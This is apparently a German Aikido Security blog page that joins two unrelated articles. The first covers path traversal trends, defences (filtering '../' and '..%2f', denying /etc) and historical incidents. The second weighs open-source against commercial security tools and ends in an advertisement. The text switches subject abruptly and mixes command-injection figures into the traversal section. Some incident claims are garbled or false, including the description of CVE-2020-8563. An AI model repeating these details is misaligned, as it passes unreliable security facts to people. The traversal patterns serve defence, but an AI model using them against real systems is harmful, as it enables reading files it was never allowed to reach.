Unsere Forschung konzentrierte sich darauf, sowohl Open-Source- als auch Closed-Source-Projekte zu untersuchen, um herauszufinden, in wie vielen davon sich Schwachstellen für Path Traversals verbergen.

Insgesamt ist die Zahl der Path-Traversal-Schwachstellen geringer als bei anderen von uns untersuchten Schwachstellen wie Command Injections oder SQL Injections. Wenn man jedoch bedenkt, dass diese Schwachstelle sehr gefährlich sein kann und dass es gut dokumentierte Lösungen gibt, um sie zu verhindern, ist es alarmierend, dass die Zahlen so hoch sind wie sie sind. Noch beunruhigender ist die Tatsache, dass der Trend bei dieser Sicherheitslücke in die falsche Richtung geht. f

Open-Source-Projekte

Bei Open-Source-Projekten machten Pfadüberquerungen 2,6 % aller gemeldeten Schwachstellen im Jahr 2023 aus. Diese Zahl stieg 2024 leicht auf 2,75 % an. Dieser Anstieg mag auf den ersten Blick marginal erscheinen, unterstreicht aber die anhaltenden Herausforderungen bei der Absicherung von Open-Source-Software selbst gegen einfache Sicherheitslücken.

Closed-Source-Projekte

Der auffälligste Trend wurde bei Closed-Source-Projekten beobachtet, bei denen Path-Traversal-Vorfälle von 1,9 % im Jahr 2023 auf 3,5 % im Jahr 2024 anstiegen - ein erheblicher Anstieg von 85 %, der einen alarmierenden Trend bei dieser Art von Schwachstelle aufzeigt.

Die schlechten Nachrichten reißen leider nicht ab. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Sicherheitslücken steigt weiter an. Die Gesamtzahl der in Open-Source-Projekten gemeldeten Injektionsschwachstellen stieg von 742 im Jahr 2023 auf 917 im Jahr 2024 (und wird voraussichtlich 1.000 erreichen)

Verhinderung der Pfadumgehung

Die Verhinderung von Schwachstellen durch Befehlsinjektion erfordert einen vielschichtigen Ansatz:

Validierung der Eingaben

• Benutzereingaben säubern: Entfernen oder kodieren Sie gefährliche Zeichen wie z.B. ../, ..\, ..%2f, oder andere Varianten.
• Erlaubt-Liste-Ansatz: Definieren Sie einen strengen Satz zulässiger Eingaben (z. B. Dateinamen oder Pfade) und lehnen Sie alles ab, was außerhalb dieser Liste liegt.

Dateizugriff einschränken

• Verwenden Sie ein Chroot-Gefängnis oder eine Sandbox: Beschränken Sie den Dateizugriff der Anwendung auf ein eingeschränktes Verzeichnis, um sicherzustellen, dass die Anwendung nicht über den vorgesehenen Verzeichnisbaum hinausgehen kann.
• Stammverzeichnisse festlegen: Definieren Sie Basisverzeichnisse und stellen Sie sicher, dass alle Pfade relativ zu ihnen sind. Verwenden Sie APIs oder Frameworks, die dies erzwingen, wie z. B.:java.nio.file.Paths.get("baseDir").resolve(userInput).normalize() in Java.
  os.path.realpath() und os.path.commonpath() in Python.

Sichere Dateizugriffs-APIs

• Verwenden Sie sichere Dateizugriffsmethoden, die von modernen Bibliotheken oder Frameworks bereitgestellt werden: In Javaverwenden Files.newInputStream() oder Files.newBufferedReader() für den sicheren Umgang mit Dateien.
  Unter Pythonstellen Sie sicher, dass Sie die Dateipfade vor dem Zugriff auf die Dateien überprüfen.

Beschränkungen der Nutzungsumgebung

• Restriktiv festlegen Dateisystem-Berechtigungen:Vergewissern Sie sich, dass die Anwendung nur über die erforderlichen Mindestberechtigungen verfügt.
  Verweigern Sie den Zugriff auf sensible Verzeichnisse (z. B., /etc, /var, /usrund Benutzer-Home-Verzeichnisse).
• Deaktivieren Sie unnötige Funktionen in Webservern oder Frameworks (z. B. die Verfolgung symbolischer Links).

Automatisierte Prüfung

• Verwenden Sie Tools wie Aikido, um Ihren Quellcode und Ihre Anwendung zu scannen und diese Schwachstellen zu entdecken.
• Sowohl SAST- als auch DAST-Tools sollten zusammen mit Domänen-Scans und Cloud-Sicherheit eingesetzt werden, um sicherzustellen, dass es keine versteckten Schwachstellen durch Pfadüberquerung gibt.

Verwenden Sie eine App-interne Firewall

• Eine der besten Abwehrmaßnahmen gegen Injektionsangriffe ist eine In-App-Firewall , die bösartige Befehle abfangen und blockieren kann.

Der Weg nach vorn

Path Traversal ist eine Schwachstelle, die es seit den Anfängen von Webanwendungen gibt, und obwohl sie oft recht einfach ist, kann sie auch eine sehr verheerende Schwachstelle sein. Das macht es so besorgniserregend, dass ein so großer Prozentsatz der Projekte immer noch mit solchen Problemen zu kämpfen hat. Auch wenn 3,5 % keine hohe Zahl zu sein scheint, ist es doch bemerkenswert, dass diese Zahl trotz der eindeutig fortbestehenden und gut dokumentierten Bedrohung immer noch zunimmt.

Path Traversal ist keine Schwachstelle, die verschwinden wird, aber die gute Nachricht ist, dass es klare Möglichkeiten gibt, diese Schwachstellen in unserer Anwendung zu finden und alle gefundenen Probleme zu beheben.

Bonus-Inhalt

Vorfälle aus der realen Welt

In den letzten Jahren gab es mehrere aufsehenerregende Sicherheitsverletzungen oder Schwachstellen, bei denen die Umgehung von Pfaden entweder der Haupteinstiegspunkt oder Teil einer Kette von Schwachstellen war

Microsoft IIS Unicode-Sicherheitslücke (2001)

Eines der ersten bekannten Path-Traversal-Exploits, das auf Microsoft IIS-Server abzielt. Angreifer verwendeten verschlüsselte Pfade, um Validierungsmechanismen zu umgehen (z. B. mit %c0%af zu vertreten /). Dadurch konnten sie auf Dateien außerhalb des Web-Root-Verzeichnisses zugreifen und diese ausführen.

Dies ermöglichte die Verbreitung von Malware und die Verunstaltung zahlreicher Websites.

Fortinet VPN Path Traversal (2019)

In Fortinets SSL-VPN wurde eine Schwachstelle für Directory Traversal gefunden (CVE-2018-13379). Angreifer nutzten diese Schwachstelle aus, um auf sensible Systemdateien zuzugreifen, z. B. auf Klartextpasswörter für VPN-Benutzer.

Tausende von VPN-Zugangsdaten wurden im Internet veröffentlicht, wodurch Unternehmen unbefugtem Zugriff und weiteren Angriffen ausgesetzt waren.

Capital One Sicherheitslücke (2019)

Was geschah: Die Hauptursache war eine SSRF-Schwachstelle, aber der Angreifer nutzte auch Directory Traversal beim Zugriff auf AWS S3 Bucket-Metadaten. Der Angreifer nutzte Fehlkonfigurationen aus, um Konfigurationsdateien abzurufen, auf die eigentlich kein Zugriff möglich sein sollte.

Dadurch wurden die persönlichen Daten von 106 Millionen Kreditkartenantragstellern offengelegt.

Pfadüberquerung im Kubernetes Dashboard (2020)

Das Kubernetes-Dashboard wies einen Fehler bei der Verzeichnisumgehung auf (CVE-2020-8563). Angreifer nutzten dies aus, um sensible Dateien im Container zu lesen, einschließlich secrets , die in /etc.

Bei der Entscheidung, welcher Ansatz für Sicherheitstools verwendet werden soll, gibt es zwei Möglichkeiten.

1. Verkaufen Sie Ihre linke Niere und kaufen Sie die Unternehmenslösung, deren Name auf der Seite eines Formel-1-Autos steht.

2. Entscheiden Sie sich für das kostenlose Open-Source-Tool, das bei mehr Fehlalarmen nach rechts wischt als eine Dating-App an einem einsamen Freitagabend.

Wie bei allem im Sicherheitsbereich gibt es in der Realität mehr zu entdecken. In diesem Artikel möchte ich untersuchen, wann Open-Source-Sicherheitstools verwendet werden sollten, wann kommerzielle Tools effektiver sind und ob wir Tools vertrauen können, die auf einem Open-Source-Kern aufbauen.

Build vs. Buy (die Open-Source-Kostenfalle)

Wenn Sie Ihr Unternehmen ausbauen, werden Sie bald feststellen, dass die Entscheidung zwischen Open-Source und kommerzieller Software eher eine Entscheidung zwischen dem Bau von Tools oder dem Kauf von Tools ist. Open-Source bietet einen guten Ausgangspunkt, aber es fehlen viele Funktionen, die Sie benötigen: Dashboards, Integrationen, compliance , Abhilfeworkflows, False-Positive-Filterung und Priorisierung von Schwachstellen, um nur einige zu nennen. Die Vorstellung, dass Open-Source-Software kostenlos ist, stimmt also einfach nicht. Dies kann jedoch ein Vorteil sein, da die Anfangsinvestition entfällt und Sie sich auf die Funktionen konzentrieren können, die für Sie wichtig sind. Das bedeutet, dass Sie sich nicht darauf verlassen müssen, dass ein Anbieter die Funktion liefert, die er vor 2 Jahren in Q3 versprochen hat.

Bei der Entwicklung auf der Grundlage von Open-Source-Tools gibt es viele negative Aspekte zu berücksichtigen. Erstens erfordert die Entwicklung dieser Tools nicht nur viel Zeit, sondern auch eine kontinuierliche Wartung. Sicherheitstools können auch die Produktion blockieren, wenn sie in Elemente wie CI/CD-Pipelines integriert sind. Das heißt, wenn sie ausfallen oder abstürzen, können sie zu Produktivitätsverlusten führen, ohne dass der Support Ihnen hilft, wieder online zu gehen.

Was ist dann mit der Kaufoption? Erstens gibt es keine Anlaufzeit, Sie erhalten von Anfang an eine vollständige Abdeckung, was später zu weniger Sicherheitsschulden führt. Außerdem entgehen Ihnen die Opportunitätskosten, die dadurch entstehen, dass Ingenieurteams von ihren Kernaufgaben abgezogen werden, um sich auf die Entwicklung von Funktionen für interne Tools zu konzentrieren. In der schnelllebigen Welt der Startups sollten Sie den Wert dieser Maßnahme nicht unterschätzen.

Open-Source vs. kommerziell

Sind kommerzielle Tools besser bei der Erkennung von Schwachstellen?

Bislang haben wir über alle Funktionen des Tools gesprochen, ohne eine der vielleicht wichtigsten Fragen zu stellen. Welches Tool findet mehr Schwachstellen? Im Allgemeinen sind die Kernfunktionen von Open-Source-Tools in ihrer Fähigkeit, Schwachstellen zu finden, mit denen kommerzieller Tools vergleichbar. Wo kommerzielle Tools jedoch die Nase vorn haben, ist ihre Fähigkeit, falsch-positive Ergebnisse herauszufiltern und ihre Ergebnisse zu priorisieren.

Sehr oft handelt es sich um kommerzielle Tools, die auf Open-Source-Projekten aufbauen. Nehmen wir zum Beispiel Zen von Aikido, eine voll funktionsfähige In-App-Firewall, die Bedrohungen zur Laufzeit stoppen soll. Ist sie also besser in der Lage, Bedrohungen zur Laufzeit zu erkennen und zu stoppen als ein Open-Source-Äquivalent? Nicht wirklich, denn sie basiert auf dem Open-Source-Projekt AikidoZen. Der Wert der Unternehmensversion liegt in den zusätzlichen Funktionen wie Analyse, Regelerstellung, tieferes Verständnis Ihrer spezifischen Bedrohungen und einfache Bereitstellung - alles Dinge, die Sie selbst entwickeln müssten, wenn Sie die Open-Source-Version in einem Unternehmen einsetzen würden. Open-Source ist also nicht unbedingt schlechter, es fehlt nur die nächste Stufe der Triage.

Hinweis: Der Vergleich von Tools mit gefundenen Sicherheitslücken kann ebenfalls sehr schwierig sein. Ein hervorragendes Sicherheitstool findet möglicherweise weniger Schwachstellen, weil es besser in der Lage ist, Fehlalarme auf der Grundlage des Kontexts zu beseitigen. Daher ist das bessere Tool nicht immer dasjenige, das die meisten Schwachstellen findet, oft ist das Gegenteil der Fall.

Mit Open-Source für Unternehmen entwickelt

Open-Source ist also zu aufwändig in der Entwicklung und die kommerzielle Variante zu teuer. Voll funktionsfähige Tools, die im Kern auf Open Source basieren, sind kein neues Konzept. Einige der erfolgreichsten Sicherheitsprodukte der Welt basieren auf Open Source, wie Hashicorp Vault, Elastic Security und Metaploit, um nur einige zu nennen. Es gibt viele Gründe, warum diese Tools so erfolgreich sind, und es sind wahrscheinlich nicht die Gründe, die Sie denken.

Kosten-Wirksamkeit

Open-Source-basierte Tools müssen nicht nur mit alternativen kommerziellen Tools konkurrieren, sondern auch mit ihrer Open-Source-Basis. Das bedeutet, dass ihr Wert erwiesen und transparent sein muss, was oft zu einem kostengünstigeren Angebot führt.

Die Macht der Gemeinschaft

Oft werden Open-Source-Tools von kommerziellen Unternehmen, wie Aikido Zen, gepflegt und entwickelt. Tools, die auf Open-Source basieren, werden nicht nur entwickelt, um die Entwicklungszeit zu verkürzen, sondern auch, weil die Gründer grundsätzlich an die Stärke von Open-Source glauben. Open-Source-Tools sind oft schneller bei der Entwicklung von Funktionen, weil eine Gemeinschaft hinter ihnen steht. Das bedeutet auch, dass Sie bei einem spezifischen Nischenproblem dieses selbst in das Tool einbringen können.

Transparenz

Der Kauf von kommerziellen Werkzeugen ist oft ein bisschen wie der Kauf eines Autos, ohne dessen Motor zu sehen. Wie gut/zuverlässig ist es auf lange Sicht? Es ist einfacher, Schwächen zu verbergen, wenn man nicht in den Motor schauen kann. Bei quelloffenen Werkzeugen lässt sich der Motor nicht verstecken, so dass es einfacher ist, Vertrauen in das Werkzeug selbst zu haben.

Kommerzielle Merkmale

Wie bereits erwähnt, konkurriert ein Open-Source-Werkzeug häufig sowohl mit kommerziellen Alternativen als auch mit Open-Source-Werkzeugen und muss daher mit Stolz auf seine zusätzlichen Funktionen verweisen. Das bedeutet alles, was Sie von einem kommerziellen Tool erwarten, aber oft noch einiges mehr. Da das Produkt von einer gut definierten Open-Source-Basis profitiert, kann die Aufmerksamkeit auf Verbesserungen gerichtet werden, die letztendlich an den Endbenutzer weitergegeben werden.

Wofür entscheide ich mich also (letzte Überlegungen)

Wir haben die Vorteile von Open-Source-, kommerziellen und Open-Source-basierten Sicherheitstools diskutiert. Ich denke, aus meinem Tonfall geht klar hervor, dass ich als Autor die Open-Source-Gemeinschaft liebe und der Meinung bin, dass Open-Source-basierte Tools einen Kompromiss beim Preis darstellen, ohne Kompromisse bei den Funktionen einzugehen. Es ist natürlich idiotisch zu sagen, dass es keinen Grund gibt, warum in manchen Szenarien eine rein kommerzielle Version besser ist. Es gibt großartige innovative Lösungen, die vollständig Closed-Source sind. Aber ich will damit sagen, dass nur weil etwas auf einem Open-Source-Projekt basiert, es nicht bedeutet, dass es Kompromisse bei den Fähigkeiten oder Funktionen macht. Und weil es seinen Wert in völliger Transparenz beweisen muss, bietet es oft tiefere Funktionen und einen größeren Wert.

Aikido Security wurde von Entwicklern für Entwickler entwickelt, um die Sicherheit zu gewährleisten. Wir sind stolz auf unser Open-Source-Erbe und würden uns freuen, wenn Sie es selbst in Aktion sehen.

Starten Sie kostenlos mit Aikido Security